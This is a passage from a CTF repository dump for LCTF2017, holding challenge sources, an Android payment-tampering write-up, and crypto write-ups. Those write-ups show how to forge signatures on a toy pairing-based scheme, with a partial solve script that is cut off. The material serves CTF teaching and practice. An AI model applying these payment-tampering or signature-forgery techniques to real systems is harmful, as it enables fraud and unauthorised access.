Full Code of LCTF/LCTF2017 for AI

master b29ea3d1e772 cached
69 files
159.8 KB
59.2k tokens
63 symbols
1 requests
Download .txt
Repository: LCTF/LCTF2017
Branch: master
Commit: b29ea3d1e772
Files: 69
Total size: 159.8 KB

Directory structure:
gitextract_kggrzwuz/

├── README.md
├── src/
│   ├── Android/
│   │   ├── Android-WP.md
│   │   └── Pay.apk
│   ├── crypto/
│   │   ├── py.trade1/
│   │   │   ├── challenge1
│   │   │   ├── challenge1.py
│   │   │   └── crypto1.md
│   │   └── py.trade2/
│   │       ├── challenge2
│   │       ├── challenge2.py
│   │       └── py.trade2.md
│   ├── misc/
│   │   ├── raspberry/
│   │   │   ├── README.md
│   │   │   ├── docker/
│   │   │   │   ├── sshd/
│   │   │   │   │   ├── Dockerfile
│   │   │   │   │   └── dist/
│   │   │   │   │       └── flag.txt
│   │   │   │   └── wetland/
│   │   │   │       ├── Dockerfile
│   │   │   │       └── dist/
│   │   │   │           ├── exec_service.py
│   │   │   │           ├── flag.txt
│   │   │   │           └── shell_service.py
│   │   │   └── hint.pcap
│   │   └── 拿去当壁纸吧朋友/
│   │       └── writeup.md
│   ├── pwn/
│   │   ├── 2ez4u/
│   │   │   ├── 2ez4u
│   │   │   ├── 2ez4u_exp.py
│   │   │   └── 2ez4u_writeup.md
│   │   ├── shopping/
│   │   │   ├── shopping
│   │   │   ├── shopping.c
│   │   │   └── shopping.md
│   │   ├── toy/
│   │   │   ├── toy
│   │   │   ├── toy_exp.py
│   │   │   └── toy_writeup.md
│   │   └── 完美冻结/
│   │       ├── exp.py
│   │       ├── 完美冻结
│   │       └── 完美冻结.md
│   ├── re/
│   │   ├── BeRealDriver/
│   │   │   └── writeup.md
│   │   ├── NuclearBomb/
│   │   │   └── writeup.md
│   │   ├── YublKey/
│   │   │   └── writeup.md
│   │   ├── use your IDA/
│   │   │   ├── decrypt.py
│   │   │   └── use your IDA.md
│   │   └── 滑稽博士/
│   │       ├── 滑稽博士
│   │       └── 滑稽博士.md
│   └── web/
│       ├── l-plarground/
│       │   └── writeup.md
│       ├── simple-blog/
│       │   ├── src/
│       │   │   ├── .admin.php.swp
│       │   │   ├── .login.php.swp
│       │   │   ├── README.md
│       │   │   ├── admin.php
│       │   │   ├── config.php
│       │   │   ├── css/
│       │   │   │   └── login.css
│       │   │   ├── index.php
│       │   │   ├── login.php
│       │   │   └── web1.sql
│       │   └── web-f1sh-writeup.md
│       ├── wanna-hack-him/
│       │   ├── src/
│       │   │   ├── admin_view.php
│       │   │   ├── index.php
│       │   │   ├── loghehehaha.txt
│       │   │   ├── preview.php
│       │   │   └── submit.php
│       │   └── wanna hack him-WP.md
│       ├── 他们有什么秘密呢/
│       │   └── 他们有什么秘密呢_ writeup.md
│       ├── 签到题/
│       │   ├── src/
│       │   │   └── test.php
│       │   └── web签到题.md
│       └── 萌萌哒的报名系统/
│           ├── .idea/
│           │   ├── modules.xml
│           │   ├── test.iml
│           │   └── workspace.xml
│           ├── README.md
│           ├── config.php
│           ├── css/
│           │   └── login2.css
│           ├── images/
│           │   └── login.js
│           ├── index.html
│           ├── login.php
│           ├── member.php
│           └── register.php
└── 出题人感言.md

================================================
FILE CONTENTS
================================================

================================================
FILE: README.md
================================================
# LCTF2017

Source code, writeups and exps in LCTF2017.

欢迎访问我们的主页[http://l-team.org](http://l-team.org),以便查看一篇汇总后的writeup。

## WEB

| 题目              | URL                                      |
| --------------- | ---------------------------------------- |
| Simple blog     | [https://github.com/LCTF/LCTF2017/tree/master/src/web/simple-blog](https://github.com/LCTF/LCTF2017/tree/master/src/web/simple-blog) |
| "他们"有什么秘密呢?     | [https://github.com/LCTF/LCTF2017/tree/master/src/web/他们有什么秘密呢](https://github.com/LCTF/LCTF2017/tree/master/src/web/他们有什么秘密呢) |
| 萌萌哒报名系统         | [https://github.com/LCTF/LCTF2017/tree/master/src/web/萌萌哒的报名系统](https://github.com/LCTF/LCTF2017/tree/master/src/web/萌萌哒的报名系统) |
| L PLAYGROUND    | [https://github.com/LCTF/LCTF2017/tree/master/src/web/l-plarground](https://github.com/LCTF/LCTF2017/tree/master/src/web/l-plarground) |
| wanna hack him? | [https://github.com/LCTF/LCTF2017/tree/master/src/web/wanna-hack-him](https://github.com/LCTF/LCTF2017/tree/master/src/web/wanna-hack-him) |
| 签到题             | [https://github.com/LCTF/LCTF2017/tree/master/src/web/签到题](https://github.com/LCTF/LCTF2017/tree/master/src/web/签到题) |



## Binary

| 题目            | URL                                      |
| ------------- | ---------------------------------------- |
| 2ez4u         | https://github.com/LCTF/LCTF2017/tree/master/src/pwn/2ez4u |
| Shopping?     | https://github.com/LCTF/LCTF2017/tree/master/src/pwn/shopping |
| toy           | https://github.com/LCTF/LCTF2017/tree/master/src/pwn/toy |
| 完美冻结          | [https://github.com/LCTF/LCTF2017/tree/master/src/pwn/完美冻结](https://github.com/LCTF/LCTF2017/tree/master/src/pwn/完美冻结) |
| BeRealDriver  | [https://github.com/LCTF/LCTF2017/tree/master/src/re/BeRealDriver](https://github.com/LCTF/LCTF2017/tree/master/src/re/BeRealDriver) |
| NuclearBomb   | [https://github.com/LCTF/LCTF2017/tree/master/src/re/NuclearBomb](https://github.com/LCTF/LCTF2017/tree/master/src/re/NuclearBomb) |
| YublKey       | [https://github.com/LCTF/LCTF2017/tree/master/src/re/YublKey](https://github.com/LCTF/LCTF2017/tree/master/src/re/YublKey) |
| 滑稽博士          | [https://github.com/LCTF/LCTF2017/tree/master/src/re/滑稽博士/](https://github.com/LCTF/LCTF2017/tree/master/src/re/滑稽博士) |
| use your IDA? | https://github.com/LCTF/LCTF2017/tree/master/src/re/use%20your%20IDA |



## MISC

| 题目       | URL                                      |
| -------- | ---------------------------------------- |
| 拿去当壁纸吧朋友 | [https://github.com/LCTF/LCTF2017/tree/master/src/misc/拿去当壁纸吧朋友](https://github.com/LCTF/LCTF2017/tree/master/src/misc/拿去当壁纸吧朋友) |
| 树莓派      | [https://github.com/LCTF/LCTF2017/tree/master/src/misc/raspberry](https://github.com/LCTF/LCTF2017/tree/master/src/misc/raspberry) |
| 问卷调查     | Google问卷调查                               |



## Crypto

| 题目        | URL                                      |
| --------- | ---------------------------------------- |
| Py.trade  | https://github.com/LCTF/LCTF2017/tree/master/src/crypto/py.trade1 |
| Py.trade2 | https://github.com/LCTF/LCTF2017/tree/master/src/crypto/py.trade2 |



## Android

| 题目   | URL                                      |
| ---- | ---------------------------------------- |
| 最简单  | [https://github.com/LCTF/LCTF2017/tree/master/src/Android](https://github.com/LCTF/LCTF2017/tree/master/src/Android) |



================================================
FILE: src/Android/Android-WP.md
================================================
#LCTF2017 Android Payme -最简单的题

##env
	1. teamtoken,message,金额
	2. 每队初始金钱1k

##思路
	1. 无加固,只有JNI_OnLoad函数里对APK签名做了验证,修改之后调试即可;
	2. 先submit做请求,然后pay进行支付;
	3. 首先encode得到teamtoken,实际上就是做了一次md5;
	4. 客户端先传参数到server,然后server sign=md5传回。split处理服务器传回的sign过的params string(message=xxx&order=x&teamtoken=xxx&sign=xxx)
	5. app再次求md5,得到signagain post到server,server验证sign和sianagain是否相同。
    
##漏洞点
	1. 取变量值是直接取split之后vector的固定位置,造成覆盖;
	2. server第二次checksign未check金额是否为正,因此此时可以修改post参数值进行充值;(需要覆盖sign值,自己md5求sign进行篡改。)

================================================
FILE: src/crypto/py.trade1/challenge1
================================================
from charm.toolbox.pairinggroup  import *
from Crypto.Util.number import long_to_bytes, bytes_to_long, inverse
from urllib import parse, request

logo = """
_|          _|_|_|  _|_|_|_|_|  _|_|_|_|  
_|        _|            _|      _|        
_|        _|            _|      _|_|_|    
_|        _|            _|      _|        
_|_|_|_|    _|_|_|      _|      _|        



  _|_|      _|      _|  _|_|_|_|_|  
_|    _|  _|  _|  _|_|          _|
    _|    _|  _|    _|        _|
  _|      _|  _|    _|      _|
_|_|_|_|    _|      _|    _|
"""

def sign(message, G, k, g, h, S):
    d =*************************************

    message = bytes(message, 'UTF-8')
    message = bytes_to_long(message)

    if message == 0:
        message = G.random(ZR)


    mid = S**k
    mid = G.serialize(mid)
    mid = bytes_to_long(mid)
    P = G.pair_prod(g**mid, h**(message + d*k))
    
    return G.serialize(P)
    

def check_token(token, name):
    url = 'http://lctf.pwnhub.cn/api/ucenter/teams/'+token+'/verify/'
    req = request.Request(url=url)
    try:
        res = request.urlopen(req)
        if res.code == 200:
            return True
    except :
        pass

    return False    
           

def main():
    print(logo)

    S = ******************************************
    R0 = ******************************************
    R1 = ******************************************
    R2 = ******************************************

    S1 = S + R0
    S2 = S + R0*2

    G = PairingGroup('SS512')
    g = b'1:HniHI3b/eK111pzcIdKZKJCK9S7QiL5xItmJ9iTvEaGGEVuM4hGc2cMRqhNwsV29BN/QpqhopD+2XgUaTdQMqQA='
    h = b'2:OGpVSq03JR4dWKsDZ+6DBJ6Qwy2E4jaNA6HsWJZNP1vhHe2wYjLUvw990iouBG8XQVEbKr+uLNc3k9n4JDAJOgA='
    g = G.deserialize(g)
    h = G.deserialize(h)

    token_str = input("token:>>")
    name = input("team name:>>")
    if not check_token(token_str, name):
        return 0
    else:
        try:
            token = bytes(token_str,'UTF-8')
            token = bytes_to_long(token)
        except :
            return 0
    
    if token%2 ==1:
        point = G.pair_prod(g**token, h**R1) * G.pair_prod(g**S1, h)
    else:
        point = G.pair_prod(g**token, h**R2) * G.pair_prod(g**S2, h)
    print(G.serialize(point))

    S = G.pair_prod(g,h)**S
    k = G.serialize(S)
    k = bytes_to_long(k)
    
    message = input('message to sign:>>')
    if "show me flag" in message:
        return 0
    else:
        signed = sign(message, G, k, g, h, S)
        print(signed)
    
    signed_from_challenger = input('sign of "show me flag":>>')
    if str(sign('show me flag', G, k, g, h, S)) == signed_from_challenger:
        with open('./' + token_str + '/flag') as target:
            print(target.read())

if __name__ == '__main__':
    main()


================================================
FILE: src/crypto/py.trade1/challenge1.py
================================================
from charm.toolbox.pairinggroup  import *
from Crypto.Util.number import long_to_bytes, bytes_to_long, inverse
from urllib import parse, request

logo = """
_|          _|_|_|  _|_|_|_|_|  _|_|_|_|  
_|        _|            _|      _|        
_|        _|            _|      _|_|_|    
_|        _|            _|      _|        
_|_|_|_|    _|_|_|      _|      _|        



  _|_|      _|      _|  _|_|_|_|_|  
_|    _|  _|  _|  _|_|          _|
    _|    _|  _|    _|        _|
  _|      _|  _|    _|      _|
_|_|_|_|    _|      _|    _|
"""

def sign(message, G, k, g, h, S):
    d = 793037328109527789706320712340268433552595221
        
    message = bytes(message, 'UTF-8')
    message = bytes_to_long(message)

    if message == 0:
        message = G.random(ZR)

    mid = S**k
    mid = G.serialize(mid)
    mid = bytes_to_long(mid)
    P = G.pair_prod(g**mid, h**(message + d*k))
    
    return G.serialize(P)
    

def check_token(token, name):
    url = 'http://lctf.pwnhub.cn/api/ucenter/teams/'+token+'/verify/'
    req = request.Request(url=url)
    try:
        res = request.urlopen(req)
        if res.code == 200:
            return True
    except :
        pass

    return False    
           

def main():
    print(logo)

    S = 14094939963583172636276966553081658504308032
    R0 = 237328179307063207109527735525952218934026843
    R1 = 191336840599434599808998090521730679425867242
    R2 = 337480760318445739989721866372936888349021300

    S1 = S + R0
    S2 = S + R0*2

    G = PairingGroup('SS512')
    g = b'1:HniHI3b/eK111pzcIdKZKJCK9S7QiL5xItmJ9iTvEaGGEVuM4hGc2cMRqhNwsV29BN/QpqhopD+2XgUaTdQMqQA='
    h = b'2:OGpVSq03JR4dWKsDZ+6DBJ6Qwy2E4jaNA6HsWJZNP1vhHe2wYjLUvw990iouBG8XQVEbKr+uLNc3k9n4JDAJOgA='
    g = G.deserialize(g)
    h = G.deserialize(h)

    token_str = input("token:>>")
    name = input("team name:>>")
    if not check_token(token_str, name):
        return 0
    else:
        try:
            token = bytes(token_str,'UTF-8')
            token = bytes_to_long(token)
        except :
            return 0
    
    if token%2 ==1:
        point = G.pair_prod(g**token, h**R1) * G.pair_prod(g**S1, h)
    else:
        point = G.pair_prod(g**token, h**R2) * G.pair_prod(g**S2, h)
    print(G.serialize(point))

    S = G.pair_prod(g,h)**S
    k = G.serialize(S)
    k = bytes_to_long(k)
    
    message = input('message to sign:>>')
    if "show me flag" in message:
        return 0
    else:
        signed = sign(message, G, k, g, h, S)
        print(signed)
    
    signed_from_challenger = input('sign of "show me flag":>>')
    if str(sign('show me flag', G, k, g, h, S)) == signed_from_challenger:
        with open('./flag') as target:
            print(target.read())

if __name__ == '__main__':
    main()

================================================
FILE: src/crypto/py.trade1/crypto1.md
================================================
# Py.trade

##双线性对

两道题目中没有用到双线性对其他复杂的性质与困难问题,只用到了最基本的一条性质:

>e(g^a, h^b) == e(g, h)^(a*b)

##Charm

看到许多人卡在安装charm上,略有些惊讶……

```
pip install charm-crypto
```

**如果没有安装依赖,是无法直接用pip安装charm的。** charm的文档中描述了charm的依赖包,以及如何手动编译安装。

[官方文档][1]

##Crypto1

### 0X00. 题目原文

```python
#!/usr/bin/env python3
from charm.toolbox.pairinggroup  import *
from Crypto.Util.number import long_to_bytes, bytes_to_long, inverse
from urllib import parse, request

logo = """
_|          _|_|_|  _|_|_|_|_|  _|_|_|_|  
_|        _|            _|      _|        
_|        _|            _|      _|_|_|    
_|        _|            _|      _|        
_|_|_|_|    _|_|_|      _|      _|        



  _|_|      _|      _|  _|_|_|_|_|  
_|    _|  _|  _|  _|_|          _|
    _|    _|  _|    _|        _|
  _|      _|  _|    _|      _|
_|_|_|_|    _|      _|    _|
"""

def sign(message, G, k, g, h, S):
    d = ***************************************
        
    message = bytes(message, 'UTF-8')
    message = bytes_to_long(message)

    if message == 0:
        message = G.random(ZR)

    mid = S**k
    mid = G.serialize(mid)
    mid = bytes_to_long(mid)
    P = G.pair_prod(g**mid, h**(message + d*k))
    
    return G.serialize(P)
    

def check_token(token, name):
    url = 'http://lctf.pwnhub.cn/api/ucenter/teams/'+token+'/verify/'
    req = request.Request(url=url)
    try:
        res = request.urlopen(req)
        if res.code == 200:
            return True
    except :
        pass

    return False    
           

def main():
    print(logo)

    S = ************************************************
    R0 = ***********************************************
    R1 = ************************************************
    R2 = ***********************************************

    S1 = S + R0
    S2 = S + R0*2

    G = PairingGroup('SS512')
    g = b'1:HniHI3b/eK111pzcIdKZKJCK9S7QiL5xItmJ9iTvEaGGEVuM4hGc2cMRqhNwsV29BN/QpqhopD+2XgUaTdQMqQA='
    h = b'2:OGpVSq03JR4dWKsDZ+6DBJ6Qwy2E4jaNA6HsWJZNP1vhHe2wYjLUvw990iouBG8XQVEbKr+uLNc3k9n4JDAJOgA='
    g = G.deserialize(g)
    h = G.deserialize(h)

    token_str = input("token:>>")
    name = input("team name:>>")
    if not check_token(token_str, name):
        return 0
    else:
        try:
            token = bytes(token_str,'UTF-8')
            token = bytes_to_long(token)
        except :
            return 0
    
    if token%2 ==1:
        point = G.pair_prod(g**token, h**R1) * G.pair_prod(g**S1, h)
    else:
        point = G.pair_prod(g**token, h**R2) * G.pair_prod(g**S2, h)
    print(G.serialize(point))

    S = G.pair_prod(g,h)**S
    k = G.serialize(S)
    k = bytes_to_long(k)
    
    message = input('message to sign:>>')
    if "show me flag" in message:
        return 0
    else:
        signed = sign(message, G, k, g, h, S)
        print(signed)
    
    signed_from_challenger = input('sign of "show me flag":>>')
    if str(sign('show me flag', G, k, g, h, S)) == signed_from_challenger:
        with open('./flag') as target:
            print(target.read())

if __name__ == '__main__':
    main()

```

### 0X01. 思路

- 从下往上找可以看到,想要获得flag就需要提供sign('show me flag', ...)。
- 再往上看,这个服务能提供所有不包含'show me flag'子串的字符串M对应的sign(M)。显然这里是一个选择明文攻击(CPA)。
- 检查函数sign,发现sign中未引入随机量,据此判断sign没有CPA安全性。
- 分析sign,在选择明文攻击中攻破sign。

### 0x02. 攻破sign

```python
def sign(message, G, k, g, h, S):
    d = ************************************************
        
    message = bytes(message, 'UTF-8')
    message = bytes_to_long(message)

    if message == 0:
        message = G.random(ZR)

    mid = S**k
    mid = G.serialize(mid)
    mid = bytes_to_long(mid)
    P = G.pair_prod(g**mid, h**(message + d*k))
    
    return G.serialize(P)
```

读读sign,发现这是对ECDSA的拙劣模仿。

sign(M, ...)返回的结果是这样的:

>e(g^(S^k), h^(M + d*k))

其中,S, k, d 三个值现在都不知道;g, h 已知;M可以自由控制但是不能为空,也不能包含子串'show me flag'。

化简一下sign(M, ...)返回的结果:

>e(g, h) ^ (S^k * M + S^k * d * k)

**一个直观的思路**:

- 选择M1, M2,保证 bytes_to_long(M1) - bytes_to_long(M2) = t,t为任意常数
- 请求 s1 = sign(M1, ...) ; s2 = sign(M2, ...)
- 选择 M',保证 bytes_to_long(M') + k = bytes_to_long('show me flag')
- 请求 s' = sign(M', ...)
- 计算: 

```
s = s' * (s1 / s2) 
  = (e(g, h) ^ (S^k * M' + S^k * d * k)) * ((e(g, h) ^ (S^k * M1 + S^k * d * k)) / (e(g, h) ^ (S^k * M2 + S^k * d * k)))
  = e(g, h) ^ (S^k * (M' + M1 - M2) + S^k * d * k)
  = e(g, h) ^ (S^k * (M' + k) + S^k * d * k)
  = e(g, h) ^ (S^k * M + S^k * d * k)
   = sign('show me flag', ...)
  
```

至此crypto1的解计算完成。提交时看看题目给出代码中的判断部分注意提交格式。


================================================
FILE: src/crypto/py.trade2/challenge2
================================================
from charm.toolbox.pairinggroup  import *
from Crypto.Util.number import long_to_bytes, bytes_to_long, inverse
from urllib import parse, request

logo = """
_|          _|_|_|  _|_|_|_|_|  _|_|_|_|  
_|        _|            _|      _|        
_|        _|            _|      _|_|_|    
_|        _|            _|      _|        
_|_|_|_|    _|_|_|      _|      _|        



  _|_|      _|      _|  _|_|_|_|_|  
_|    _|  _|  _|  _|_|          _|
    _|    _|  _|    _|        _|
  _|      _|  _|    _|      _|
_|_|_|_|    _|      _|    _|
"""

def sign(message, G, k, g, h, S):
    d = ***********************************
        
    message = bytes(message, 'UTF-8')
    message = bytes_to_long(message)

    if message == 0:
        message = G.random(ZR)

    mid = S**k
    mid = G.serialize(mid)
    mid = bytes_to_long(mid)
    P = G.pair_prod(g**mid, h**(message + d*k))
    
    return G.serialize(P)
    

def check_token(token, name):
    url = 'http://lctf.pwnhub.cn/api/ucenter/teams/'+token+'/verify/'
    req = request.Request(url=url)
    try:
        res = request.urlopen(req)
        if res.code == 200:
            return True
    except :
        pass

    return False    
           

def main():
    print(logo)

    S = *******************************************
    R0 = **********************************************
    R1 = **********************************************
    R2 = **********************************************

    S1 = S + R0
    S2 = S + R0*2

    G = PairingGroup('SS512')
    g = b'1:HniHI3b/eK111pzcIdKZKJCK9S7QiL5xItmJ9iTvEaGGEVuM4hGc2cMRqhNwsV29BN/QpqhopD+2XgUaTdQMqQA='
    h = b'2:OGpVSq03JR4dWKsDZ+6DBJ6Qwy2E4jaNA6HsWJZNP1vhHe2wYjLUvw990iouBG8XQVEbKr+uLNc3k9n4JDAJOgA='
    g = G.deserialize(g)
    h = G.deserialize(h)

    token_str = input("token:>>")
    name = input("team name:>>")
    if not check_token(token_str, name):
        return 0
    else:
        try:
            token = bytes(token_str,'UTF-8')
            token = bytes_to_long(token)
        except :
            return 0
    
    if token%2 ==1:
        point = G.pair_prod(g**token, h**R1) * G.pair_prod(g**S1, h)
    else:
        point = G.pair_prod(g**token, h**R2) * G.pair_prod(g**S2, h)
    print(G.serialize(point))

    S = G.pair_prod(g,h)**S
    k = G.serialize(S)
    k = bytes_to_long(k)
    
    message = 'abcd'
    signed = sign(message, G, k, g, h, S)
    print('signed of "abcd":>>', signed)
    
    signed_from_challenger = input('sign of "show me flag":>>')
    if str(sign('show me flag', G, k, g, h, S)) == signed_from_challenger:
        with open('./flag') as target:
            print(target.read())

if __name__ == '__main__':
    main()


================================================
FILE: src/crypto/py.trade2/challenge2.py
================================================
from charm.toolbox.pairinggroup  import *
from Crypto.Util.number import long_to_bytes, bytes_to_long, inverse
from urllib import parse, request

logo = """
_|          _|_|_|  _|_|_|_|_|  _|_|_|_|  
_|        _|            _|      _|        
_|        _|            _|      _|_|_|    
_|        _|            _|      _|        
_|_|_|_|    _|_|_|      _|      _|        



  _|_|      _|      _|  _|_|_|_|_|  
_|    _|  _|  _|  _|_|          _|
    _|    _|  _|    _|        _|
  _|      _|  _|    _|      _|
_|_|_|_|    _|      _|    _|
"""

def sign(message, G, k, g, h, S):
    d = 109527787930373289340268433570632071252595221
        
    message = bytes(message, 'UTF-8')
    message = bytes_to_long(message)

    if message == 0:
        message = G.random(ZR)

    mid = S**k
    mid = G.serialize(mid)
    mid = bytes_to_long(mid)
    P = G.pair_prod(g**mid, h**(message + d*k))
    
    return G.serialize(P)
    

def check_token(token, name):
    url = 'http://lctf.pwnhub.cn/api/ucenter/teams/'+token+'/verify/'
    req = request.Request(url=url)
    try:
        res = request.urlopen(req)
        if res.code == 200:
            return True
    except :
        pass

    return False    
           

def main():
    print(logo)

    S = 14172636276966553081658509493996358304308032
    R0 = 237328179307063207109527735525952218934026843
    R1 = 191336840599434599808998090521730679425867242
    R2 = 337480760318445739989721866372936888349021300

    S1 = S + R0
    S2 = S + R0*2

    G = PairingGroup('SS512')
    g = b'1:HniHI3b/eK111pzcIdKZKJCK9S7QiL5xItmJ9iTvEaGGEVuM4hGc2cMRqhNwsV29BN/QpqhopD+2XgUaTdQMqQA='
    h = b'2:OGpVSq03JR4dWKsDZ+6DBJ6Qwy2E4jaNA6HsWJZNP1vhHe2wYjLUvw990iouBG8XQVEbKr+uLNc3k9n4JDAJOgA='
    g = G.deserialize(g)
    h = G.deserialize(h)

    token_str = input("token:>>")
    name = input("team name:>>")
    if not check_token(token_str, name):
        return 0
    else:
        try:
            token = bytes(token_str,'UTF-8')
            token = bytes_to_long(token)
        except :
            return 0
    
    if token%2 ==1:
        point = G.pair_prod(g**token, h**R1) * G.pair_prod(g**S1, h)
    else:
        point = G.pair_prod(g**token, h**R2) * G.pair_prod(g**S2, h)
    print(G.serialize(point))

    S = G.pair_prod(g,h)**S
    k = G.serialize(S)
    k = bytes_to_long(k)
    
    message = 'abcd'
    signed = sign(message, G, k, g, h, S)
    print('signed of "abcd":>>', signed)
    
    signed_from_challenger = input('sign of "show me flag":>>')
    if str(sign('show me flag', G, k, g, h, S)) == signed_from_challenger:
        with open('./flag2') as target:
            print(target.read())

if __name__ == '__main__':
    main()


================================================
FILE: src/crypto/py.trade2/py.trade2.md
================================================
# py.trade2


### 0X00. 题目原文

```python
#!/usr/bin/env python3
from charm.toolbox.pairinggroup  import *
from Crypto.Util.number import long_to_bytes, bytes_to_long, inverse
from urllib import parse, request

logo = """
_|          _|_|_|  _|_|_|_|_|  _|_|_|_|  
_|        _|            _|      _|        
_|        _|            _|      _|_|_|    
_|        _|            _|      _|        
_|_|_|_|    _|_|_|      _|      _|        



  _|_|      _|      _|  _|_|_|_|_|  
_|    _|  _|  _|  _|_|          _|
    _|    _|  _|    _|        _|
  _|      _|  _|    _|      _|
_|_|_|_|    _|      _|    _|
"""

def sign(message, G, k, g, h, S):
    d = ********************************************
        
    message = bytes(message, 'UTF-8')
    message = bytes_to_long(message)

    if message == 0:
        message = G.random(ZR)

    mid = S**k
    mid = G.serialize(mid)
    mid = bytes_to_long(mid)
    P = G.pair_prod(g**mid, h**(message + d*k))
    
    return G.serialize(P)
    

def check_token(token, name):
    url = 'http://lctf.pwnhub.cn/api/ucenter/teams/'+token+'/verify/'
    req = request.Request(url=url)
    try:
        res = request.urlopen(req)
        if res.code == 200:
            return True
    except :
        pass

    return False    
           

def main():
    print(logo)

    S = ***********************************************
    R0 = ************************************************
    R1 = ************************************************
    R2 = ************************************************

    S1 = S + R0
    S2 = S + R0*2

    G = PairingGroup('SS512')
    g = b'1:HniHI3b/eK111pzcIdKZKJCK9S7QiL5xItmJ9iTvEaGGEVuM4hGc2cMRqhNwsV29BN/QpqhopD+2XgUaTdQMqQA='
    h = b'2:OGpVSq03JR4dWKsDZ+6DBJ6Qwy2E4jaNA6HsWJZNP1vhHe2wYjLUvw990iouBG8XQVEbKr+uLNc3k9n4JDAJOgA='
    g = G.deserialize(g)
    h = G.deserialize(h)

    token_str = input("token:>>")
    name = input("team name:>>")
    if not check_token(token_str, name):
        return 0
    else:
        try:
            token = bytes(token_str,'UTF-8')
            token = bytes_to_long(token)
        except :
            return 0
    
    if token%2 ==1:
        point = G.pair_prod(g**token, h**R1) * G.pair_prod(g**S1, h)
    else:
        point = G.pair_prod(g**token, h**R2) * G.pair_prod(g**S2, h)
    print(G.serialize(point))

    S = G.pair_prod(g,h)**S
    k = G.serialize(S)
    k = bytes_to_long(k)
    
    message = 'abcd'
    signed = sign(message, G, k, g, h, S)
    print('signed of "abcd":>>', signed)
    
    signed_from_challenger = input('sign of "show me flag":>>')
    if str(sign('show me flag', G, k, g, h, S)) == signed_from_challenger:
        with open('./flag2') as target:
            print(target.read())

if __name__ == '__main__':
    main()

```

### 0X01. 思路

比赛结束前三小时crypto2放出了hint:“这不止是一道crypto题目,它还是一道……”

两道题目只有几行代码不同,crypto2中**不允许**用户提交自己的字符串。只会返回sign('abcd', ...)。无法选择明文了,允许输入的地方只有三个:token,队名,和最后的变量 signed_from_challenger。其中‘队名’这个变量是打酱油的,丝毫用处都没有。(此处偷偷谴责一下写token校验api的兄台 :-P)

读完代码后应该可以意识到crypto2里sign函数也几乎是打酱油的,全程只有可能执行sign('abcd')与sign('show me flag')。

那么问题肯定出在前面那一坨代码上了。

读一下前面的代码,意识到前面的代码其实是在双线性对映射出的那个群中一点e(g, h)的指数上实现了一个两层递归的 [shamir门限方案][2]。这个shamir树型结构也是CP-ABE(Cipher Policy - Attributes Based Encryption)的基础结构。

图示:

![shamir递归树][3]

题目中如下代码实现了这颗树。

```
if token%2 ==1:
    point = G.pair_prod(g**token, h**R1) * G.pair_prod(g**S1, h)
else:
    point = G.pair_prod(g**token, h**R2) * G.pair_prod(g**S2, h)
print(G.serialize(point))
```

在实际代码中,奇数选手将得到 e(g, h)^(token*R1 + S1);偶数选手将得到 e(g, h)^(token*R2 + S2)。从更靠前的代码可以看到S1,S2的来源:已知S1,S2时,它们组成了一个简单的二元一次方程组。如果想要恢复出sign函数输入中的S和k,就需要先拿到S,或者拿到S的一些特征,比如说e(g, h)^S。

```
S1 = S + R0
S2 = S + R0*2
```

对于S,如果只知道S1,或者只知道S2,是无法解出S的。毕竟“K元一次方程需要至少K个一组才可能有解,否则一定有无穷多解”。

对于选手能直接得到的 e(g, h)^(token*R1 + S1) ,有两个未知量R1,S1,在只有一个token时也是有无穷多解的。因此需要两个奇数token,两个偶数token才有可能恢复出S(这里对应给出的hint:它不只是一道crypto题目,它还是一道社工题)。在实际操作中,我们只能恢复到e(g, h)^S,不过这已经足够我们求出'show me flag'的sign啦。

因为我们只能得到'abcd'的sign,即 e(g^(S^k), h^('abcd' + d*k))
(注:此处代码前,S被赋值成了e(g, h)^S,详情见题目原文)
在我们能得到S = e(g, h)^S,且可以根据S求得k时,我们就可以给任意消息做签名了。

### 0X02. writeUp.py

```
from charm.toolbox.pairinggroup import *
from Crypto.Util.number import bytes_to_long, inverse

def main():
    G = PairingGroup('SS512')
    g = b'1:HniHI3b/eK111pzcIdKZKJCK9S7QiL5xItmJ9iTvEaGGEVuM4hGc2cMRqhNwsV29BN/QpqhopD+2XgUaTdQMqQA='
    h = b'2:OGpVSq03JR4dWKsDZ+6DBJ6Qwy2E4jaNA6HsWJZNP1vhHe2wYjLUvw990iouBG8XQVEbKr+uLNc3k9n4JDAJOgA='

    # 4 different token. 2 even 2 odd
    t1 = bytes_to_long(b'4795968fe0bf73a1e39e6fec844dee01')
    S1 = b'3:cOlYveeItjU4ZHh8B58RjWUYJwdtFi/FXzqtd2GnnqEMJ9AFKzNjV90eUoPDLkinkWsdmbYTJxFTq5bvucwVHE98Uvw2laNvrsCFY9Mw766YdEPAtj7smBt/tIDl+u1mORufxZX8Q31F3dJjnzEoYhlxRZ9e9JFVtK7nW2Di6Iw='
    t2 = bytes_to_long(b'f11ca9db1f547b71a1b9592659553814')
    S2 = b'3:NjqqiCxaQtlFS1FEsSD+jmuO9Z0srysMi4K1nVCg2yAxJRjX62PPMSbY5JAa+Y4Ap25p9+u1EZ05f1RSwOXyZiIAZoDoS0crKDHRLJtE40aswcnPaf1JklMGBOGLdBUOZ3+nknLRDLACyBFnTW8y6FnHzLICGruBHisLhschvHM='
    t3 = bytes_to_long(b'97fddec1d9e630075803fc67d4220b05')
    S3 = b'3:GYcIbust8E1tcYZghIgC4x6YhrAyJUvy0lHHUxfvIOD7S/ann03RFrhO4qKb0jQ4vcU7pHJPv9Q+WDDPV/mAcH224dIfSyGcv91adl0tuhS6z0Fr4tBz03YUFUcGvAvi7bHvjnywwAjkTe1ZmMybyUnc9bMTPUxIZ3kli2b3PRs='
    t4 = bytes_to_long(b'adafcd958bbe176dd9cc96ef3aaa6438')
    S4 = b'3:R7Zhznj9aRtEv9ifZfLf9aqt4PSZzrMCSXuxkwZDdLEC2pqRPC1dWtP41BLR0UbbZVbTyOuojif9HYVuDu7oFSMTtj3zUxwXUW2x5sCYnkY3MOhSKM9JJxzAktSF0H2rIVvw4iBhQoh6Ecy3qRYfjZSha4Bc729DXHbYx0sMxd4='

    # SS512's order. get from G.order()
    order = 730750818665451621361119245571504901405976559617

    #init
    g = G.deserialize(g)
    h = G.deserialize(h)
    S1 = G.deserialize(S1)
    S2 = G.deserialize(S2)
    S3 = G.deserialize(S3)
    S4 = G.deserialize(S4)

    #compute x**S1
    t_S1 = ((S1**t3)/(S3**t1))**inverse((t3-t1), G.order())
    print(t_S1)

    #compute x**S2
    t_S2 = ((S2**t4)/(S4**t2))**inverse((t4-t2), G.order())
    print(t_S2)

    #compute x**S
    t = (t_S1*t_S1)/t_S2
    print(t)

    #compute k
